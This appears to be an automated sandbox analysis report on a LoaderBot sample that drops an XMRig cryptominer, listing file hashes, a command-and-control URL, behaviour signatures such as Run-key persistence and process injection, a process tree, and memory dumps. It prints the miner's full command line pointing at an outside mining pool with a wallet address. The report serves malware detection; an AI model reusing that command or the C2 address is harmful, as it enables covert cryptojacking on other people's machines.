Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2023 20:00

General

  • Target

    5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe

  • Size

    2.7MB

  • MD5

    bd83b22d90836c81047b081dcbacb63d

  • SHA1

    ce52554f5bbd0e26332309166a2912609797f8b6

  • SHA256

    5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a

  • SHA512

    8025ca796c9273fe5e6fb3e1e1481d63bce796462ebae24857d8aae01bc74c9634bdb509c4f57f23c0523005f89f8eb78f827e34a65cce8502c994494aa5b1c0

  • SSDEEP

    49152:TFS3NYgv3IsJks7JFsaaq7VZbAMS9IeD/P/sXZYkZ4jh+:TYbv3Isms1kq7DMFNTkqkZQh+

Malware Config

Extracted

Family

loaderbot

C2

https://sh4453464.c.had.su/cmd.php

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 13 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
    "C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
      "{path}"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4935xbCqwWU1Kskmfu796NjQVuLDZAR4xdvf7fe2p9w3XVkqbRHPR5ELemPeGJJhVWGxjeLuvZqf8ZVFPabUB5CTNSBG2RV -p x -k -v=0 --donate-level=1 -t 2
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2744
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2744 -s 760
          4⤵
          • Program crash
          PID:4652
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4935xbCqwWU1Kskmfu796NjQVuLDZAR4xdvf7fe2p9w3XVkqbRHPR5ELemPeGJJhVWGxjeLuvZqf8ZVFPabUB5CTNSBG2RV -p x -k -v=0 --donate-level=1 -t 2
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3796
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 376 -p 2744 -ip 2744
    1⤵
      PID:2684

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe.log

      Filesize

      1KB

      MD5

      3ae5fa36d6c5cf135fb14702c5777bc0

      SHA1

      86a5aa45d96748084ace87493debdf3d329cd521

      SHA256

      1f05b6335396291c2e7a378aa96b741374541807a1dbd94b74025f43984e917c

      SHA512

      7fe99728c09b6d832b9b06c60a962437ffc7f6175efe047b2a1c1f830b01469558055e3a032aa8c92e9e026f07efcc02e00236f9b9e02461908bcfce9272daa3

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • memory/1664-137-0x0000000004E20000-0x0000000004E2A000-memory.dmp

      Filesize

      40KB

    • memory/1664-139-0x0000000005140000-0x0000000005150000-memory.dmp

      Filesize

      64KB

    • memory/1664-140-0x0000000005140000-0x0000000005150000-memory.dmp

      Filesize

      64KB

    • memory/1664-141-0x0000000007ED0000-0x0000000007F0C000-memory.dmp

      Filesize

      240KB

    • memory/1664-142-0x0000000005140000-0x0000000005150000-memory.dmp

      Filesize

      64KB

    • memory/1664-143-0x0000000005140000-0x0000000005150000-memory.dmp

      Filesize

      64KB

    • memory/1664-138-0x00000000050E0000-0x0000000005136000-memory.dmp

      Filesize

      344KB

    • memory/1664-136-0x0000000004EF0000-0x0000000004F82000-memory.dmp

      Filesize

      584KB

    • memory/1664-133-0x00000000001B0000-0x000000000046A000-memory.dmp

      Filesize

      2.7MB

    • memory/1664-135-0x00000000054A0000-0x0000000005A44000-memory.dmp

      Filesize

      5.6MB

    • memory/1664-134-0x0000000004E50000-0x0000000004EEC000-memory.dmp

      Filesize

      624KB

    • memory/2744-161-0x00000000004D0000-0x00000000004E4000-memory.dmp

      Filesize

      80KB

    • memory/2744-162-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/2744-163-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-171-0x00000000020E0000-0x0000000002100000-memory.dmp

      Filesize

      128KB

    • memory/3796-176-0x0000000002100000-0x0000000002120000-memory.dmp

      Filesize

      128KB

    • memory/3796-182-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-166-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-167-0x0000000000420000-0x0000000000440000-memory.dmp

      Filesize

      128KB

    • memory/3796-181-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-169-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-170-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-180-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-172-0x0000000002100000-0x0000000002120000-memory.dmp

      Filesize

      128KB

    • memory/3796-173-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-174-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-175-0x00000000020E0000-0x0000000002100000-memory.dmp

      Filesize

      128KB

    • memory/3796-179-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-177-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3796-178-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4648-149-0x00000000057C0000-0x0000000005826000-memory.dmp

      Filesize

      408KB

    • memory/4648-157-0x00000000055D0000-0x00000000055E0000-memory.dmp

      Filesize

      64KB

    • memory/4648-168-0x00000000055D0000-0x00000000055E0000-memory.dmp

      Filesize

      64KB

    • memory/4648-144-0x0000000000400000-0x00000000007FE000-memory.dmp

      Filesize

      4.0MB